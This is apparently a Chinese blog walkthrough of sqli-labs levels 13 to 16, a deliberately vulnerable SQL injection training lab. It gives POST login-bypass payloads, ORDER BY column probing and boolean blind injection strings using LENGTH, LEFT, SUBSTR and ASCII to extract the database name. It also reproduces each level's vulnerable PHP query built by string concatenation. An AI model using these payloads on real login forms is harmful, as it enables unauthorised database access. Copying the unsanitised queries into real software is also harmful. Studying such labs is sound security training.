sqli-labs 通关指南:Less 13 ~ 16

Less 13 ~ 16 都是基于 bool 盲注或时间盲注的关卡,和之前的关卡区别在于此时用 POST 方法传递参数。

Less 13#

POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)

判断数据类型#

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,并返回语法错误的提示信息。

Copy Highlighter-hljs
admin' OR 1 = 1#


添加一个括号,使用单引号闭合,此时网页提示我们登录成功。因此网页存在字符型注入漏洞,并且使用单引号和括号进行闭合。注意到此时网页并没有返回任何信息,我们需要使用 bool 盲注进行注入。

Copy Highlighter-hljs
admin') OR 1 = 1#


使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

Copy Highlighter-hljs
uname=&passwd=&submit=Submit

获取数据库信息#

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

Copy Highlighter-hljs
uname=a') OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit


对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

Copy Highlighter-hljs
uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit


得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息判断数据库长度。

Copy Highlighter-hljs
uname=a') OR LENGTH((SELECT database())) > 5#&passwd=a&submit=Submit


经过二分法测试,得出数据库长度为 8。

Copy Highlighter-hljs
uname=a') OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit


获取数据库名,使用 left(string,num) 函数返回字符串 string 最左边的 num 个字符。首先使用判断数据库名的第一位是否是字符 a。注入之后返回登录失败,说明数据库名第一位不是 a。

Copy Highlighter-hljs
uname=a') OR LEFT((SELECT database()),1) = 'a'#&passwd=a&submit=Submit


使用 brup 抓包,对第一个字符进行爆破,得出数据库第一个字符是 “s”。

通过相同的方式进行爆破,最后得出数据库名为 “security”。使用同样的方法继续爆破表名、字段名及其剩余信息。

Copy Highlighter-hljs
uname=a') OR LEFT((SELECT database()),8) = 'security'#&passwd=a&submit=Submit

关卡 Sql 查询语句#

Copy Highlighter-hljs
// connectivity @$sql = "SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row) { //echo '<font color= "#0000ff">'; echo "<br>"; echo '<font color= "#FFFF00" font size = 4>'; //echo " You Have successfully logged in " ; echo '<font size="3" color="#0000ff">'; echo "<br>"; //echo 'Your Login name:'. $row['username']; //echo "<br>"; //echo 'Your Password:' .$row['password']; //echo "<br>"; echo "</font>"; echo "<br>"; echo "<br>"; echo '<img src="../images/flag.jpg" />'; echo "</font>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysql_error()); echo "</br>"; echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; }

Less 14#

POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)

判断数据类型#

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,但是没有返回语法错误的提示信息。

Copy Highlighter-hljs
a' OR 1 = 1#


注入以下的内容,统统都显示登录失败且无回显。

Copy Highlighter-hljs
a') OR 1 = 1# a')) OR 1 = 1#

使用双引号闭合,此时网页提示我们登录成功。因此网页存在双引号进行闭合的字符型注入漏洞,此时网页也没有返回任何信息,我们需要使用 bool 盲注进行注入。

Copy Highlighter-hljs
admin" OR 1 = 1#


使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

Copy Highlighter-hljs
uname=&passwd=&submit=Submit

获取数据库信息#

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

Copy Highlighter-hljs
uname=a" OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit


对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

Copy Highlighter-hljs
uname=a" OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit


得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息得出数据库长度为 8。

Copy Highlighter-hljs
uname=a" OR LENGTH((SELECT database())) = 8#&passwd=&submit=Submit


获取数据库名时可以使用 left() 函数,这里使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判断这个字符的 ASCII 码值。

Copy Highlighter-hljs
uname=a" OR ASCII(SUBSTR((SELECT database()),1,1))>100#&passwd=&submit=Submit


使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。

Copy Highlighter-hljs
uname=a" OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit


通过相同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。

Copy Highlighter-hljs
uname=a" OR ASCII(SUBSTR((SELECT database()),2,1))=101#&passwd=&submit=Submit

关卡 Sql 查询语句#

Copy Highlighter-hljs
// connectivity $uname = '"'.$uname.'"'; $passwd = '"'.$passwd.'"'; @$sql = "SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result);

Less 15#

POST-Blind-Boolian/time Based-Single quotes(基于 bool 型/时间延迟单引号POST型盲注)

判断注入类型#

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,但是并未返回任何信息。

Copy Highlighter-hljs
' OR 1 = 1#


尝试使用括号制造报错信息,但是网页仍然没有回显。说明此处只能通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都行。

Copy Highlighter-hljs
') OR 1 = 1#


使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

Copy Highlighter-hljs
uname=&passwd=&submit=Submit

获取数据库信息#

通关 Less 15 采用上述 2 种方式都行,也可以使用时间盲注。判断表有几列,使用 ORDER BY 子句对第二列对返回的结果排序,网页返回正常。

Copy Highlighter-hljs
uname=a') OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit


对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

Copy Highlighter-hljs
uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit


得出数据库名的长度,使用 length() 函数得出数据库长度为 8。

Copy Highlighter-hljs
uname=a') OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit


获取数据库名,使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判断这个字符的 ASCII 码值。使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。通过相同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。

Copy Highlighter-hljs
uname=a' OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

关卡 Sql 查询语句#

Copy Highlighter-hljs
// connectivity @$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row) { //echo '<font color= "#0000ff">'; echo "<br>"; echo '<font color= "#FFFF00" font size = 4>'; //echo " You Have successfully logged in\n\n " ; echo '<font size="3" color="#0000ff">'; echo "<br>"; //echo 'Your Login name:'. $row['username']; echo "<br>"; //echo 'Your Password:' .$row['password']; echo "<br>"; echo "</font>"; echo "<br>"; echo "<br>"; echo '<img src="../images/flag.jpg" />'; echo "</font>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; //print_r(mysql_error()); echo "</br>"; echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; }

Less 16#

POST-Blind-Boolian/Time Based-Double quotes (基于 bool 型 / 时间延迟的双引号 POST 型盲注)

判断注入类型#

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,但是并未返回任何信息。

Copy Highlighter-hljs
' OR 1 = 1#


注入以下的内容,统统提示登录失败。

Copy Highlighter-hljs
a') OR 1 = 1# a')) OR 1 = 1# a" OR 1 = 1#

注入双引号和括号,网页提示登录成功。此处只能通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都行。

Copy Highlighter-hljs
") OR 1 = 1#


使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

Copy Highlighter-hljs
uname=&passwd=&submit=Submit


使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

Copy Highlighter-hljs
uname=&passwd=&submit=Submit

获取数据库信息#

通关 Less 16 采用上述 2 种方式都行,也可以使用时间盲注。判断表有几列,使用 ORDER BY 子句对第二列对返回的结果排序,网页返回正常。

Copy Highlighter-hljs
uname=a") OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit


对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

Copy Highlighter-hljs
uname=a") OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit


得出数据库名的长度,使用 length() 函数得出数据库长度为 8。

Copy Highlighter-hljs
uname=a") OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit


获取数据库名,使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判断这个字符的 ASCII 码值。使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。通过相同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。

Copy Highlighter-hljs
uname=a") OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

关卡 Sql 查询语句#

Copy Highlighter-hljs
// connectivity $uname = '"'.$uname.'"'; $passwd = '"'.$passwd.'"'; @$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result);
posted @   乌漆WhiteMoon  阅读(1005)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示
CONTENTS